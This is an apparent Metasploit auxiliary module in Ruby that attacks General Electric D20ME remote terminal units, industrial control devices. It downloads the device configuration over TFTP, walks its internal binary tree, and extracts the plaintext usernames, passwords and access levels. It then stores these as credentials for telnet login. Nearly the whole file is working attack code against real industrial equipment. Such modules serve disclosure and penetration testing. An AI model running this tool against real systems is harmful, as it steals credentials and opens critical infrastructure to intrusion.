##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

##
# This module grabs the device configuration from a GE D20M* RTU and
# parses the usernames and passwords from it.
##

require 'msf/core'
require 'rex/ui/text/shell'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Auxiliary
	include Rex::Ui::Text
	include Rex::Proto::TFTP
	include Msf::Exploit::Remote::Udp
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'General Electric D20 Password Recovery',
			'Description'    => %q{
				The General Electric D20ME and possibly other units (D200?) feature
				TFTP readable configurations with plaintext passwords.  This module
				retrieves the username, password, and authentication level list.
			},
			'Author'         => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
			'License'        => MSF_LICENSE,
			'DisclosureDate' => 'Jan 19 2012'
			))

		register_options(
			[
				Opt::RPORT(69),
				Opt::RHOST('192.168.255.1'),
				OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
			], self.class)
	end

	def setup
		@rhost = datastore['RHOST']
		@rport = datastore['RPORT'] || 69
		@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
		@lhost = datastore['LHOST'] || "0.0.0.0"
		@rfile = datastore['REMOTE_CONFIG_NAME']
	end

	def cleanup
		if @tftp_client and @tftp_client.respond_to? :complete
			while not @tftp_client.complete
				select(nil,nil,nil,1)
				vprint_status "Cleaning up the TFTP client ports and threads."
				@tftp_client.stop
			end
		end
	end

	def rtarget(ip=nil)
		if (ip or rhost) and rport
			[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
		elsif (ip or rhost)
			rhost
		else
			""
		end
	end

	# Retrieve the file
	def retrieve
		print_status("Retrieving file")
		@tftp_client = Rex::Proto::TFTP::Client.new(
				"LocalHost" => @lhost,
				"LocalPort" => @lport,
				"PeerHost" => @rhost,
				"PeerPort" => @rport,
				"RemoteFile" => @rfile,
				"Action" => :download
		)
		@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
		@tftp_client.threads do |thread|
			thread.join
		end
		# Wait for GET to finish
		while not @tftp_client.complete
			select(nil, nil, nil, 0.1)
		end
		fh = @tftp_client.recv_tempfile
		return fh
	end

	# Builds a big-endian word
	def makeword(bytestr)
		return bytestr.unpack("n")[0]
	end
	# builds abi
	def makelong(bytestr)
		return bytestr.unpack("N")[0]
	end

	# Returns a pointer.  We re-base the pointer
	# so that it may be used as a file pointer.
	# In the D20 memory, the file is located in flat
	# memory at 0x00800000.
	def makefptr(bytestr)
		ptr = makelong(bytestr)
		ptr = ptr - 0x00800000
		return ptr
	end

	# Build a string out of the file.  Assumes that the string is
	# null-terminated.  This will be the case in the D20 Username
	# and Password fields.
	def makestr(f, strptr)
		f.seek(strptr)
		str = ""
		b = f.read(1)
		if b != 0
			str = str + b
		end
		while b != "\000"
			b = f.read(1)
			if b != "\000"
				str = str + b
			end
		end
		return str
	end

	# configuration section names in the file are always
	# 8 bytes.  Sometimes they are null-terminated strings,
	# but not always, so I use this silly helper function.
	def getname(f, entryptr)
		f.seek(entryptr + 12) # three ptrs then name
		str = f.read(8)
		return str
	end

	def leftchild(f, entryptr)
		f.seek(entryptr + 4)
		ptr = f.read(4)
		return makefptr(ptr)
	end

	def rightchild(f, entryptr)
		f.seek(entryptr + 8)
		ptr = f.read(4)
		return makefptr(ptr)
	end

	# find the entry in the configuration file.
	# the file is a binary tree, with pointers to parent, left, right
	# stored as 32-bit big-endian values.
	# sorry for depth-first recursion
	def findentry(f, name, start)
		f.seek(start)
		myname = getname(f, start)
		if name == myname
			return start
		end
		left = leftchild(f, start)
		right = rightchild(f, start)
		if name < myname
			if left < f.stat.size and left != 0
				res = findentry(f, name, leftchild(f, start))
			else
				res = nil # this should perolate up
			end
		end
		if name > myname
			if right < f.stat.size and right != 0
				res = findentry(f, name, rightchild(f, start))
			else
				res = nil
			end
		end
		return res
	end

	# Parse the usernames, passwords, and security levels from the config
	# It's a little ugly (lots of hard-coded offsets).
	# The userdata starts at an offset dictated by the B014USERS config
	# offset 0x14 (20) bytes.  The rest is all about skipping past the
	# section header.
	def parseusers(f, userentryptr)
		f.seek(userentryptr + 0x14)
		dstart = makefptr(f.read(4))
		f.seek(userentryptr + 0x1C)
		numentries = makelong(f.read(4))
		f.seek(userentryptr + 0x60)
		headerlen = makeword(f.read(2))
		f.seek(userentryptr + 40) # sorry decimal
		entrylen = makeword(f.read(2)) # sorry this is decimal
		logins = Rex::Ui::Text::Table.new(
			'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
			'Indent' => 1,
			'Columns' => ["Type", "User Name", "Password"])

		0.upto(numentries -1).each do |i|
			f.seek(dstart + headerlen + i * entrylen)
			accounttype = makeword(f.read(2))
			f.seek(dstart + headerlen + i * entrylen + 2)
			accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
			f.seek(dstart + headerlen + i * entrylen + 2 + 22)
			accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
			if accountname.size + accountpass.size > 44
				print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
				break
			end
			logins <<  [accounttype,  accountname,  accountpass]
			report_auth_info(
				:host => datastore['RHOST'],
				:port => 23,
				:sname => "telnet",
				:user => accountname,
				:pass => accountpass,
				:active => true
			)
		end
		if not logins.rows.empty?
			loot = store_loot(
				"d20.user.creds",
				"text/csv",
				datastore['RHOST'],
				logins.to_s,
				"d20_user_creds.txt",
				"General Electric TELNET User Credentials",
				datastore['RPORT']
			)
			print_line logins.to_s
			print_status("Loot stored in: #{loot}")
		else
			print_error("No data collected")
		end
	end

	def parse(fh)
		print_status("Parsing file")
		f = File.open(fh.path, 'rb')
		used = f.read(4)
		if used != "USED"
			print_error "Invalid Configuration File!"
			return
		end
		f.seek(0x38)
		start = makefptr(f.read(4))
		userptr = findentry(f, "B014USER", start)
		if userptr != nil
			parseusers(f, userptr)
		else
			print_error "Error finding the user table in the configuration."
		end
	end

	def run
		fh = retrieve
		parse(fh)
	end

	def print_tftp_status(msg)
		case msg
		when /Aborting/, /errors.$/
			print_error [rtarget,msg].join
		when /^WRQ accepted/, /^Sending/, /complete!$/
			print_good [rtarget,msg].join
		else
			vprint_status [rtarget,msg].join
		end
	end
end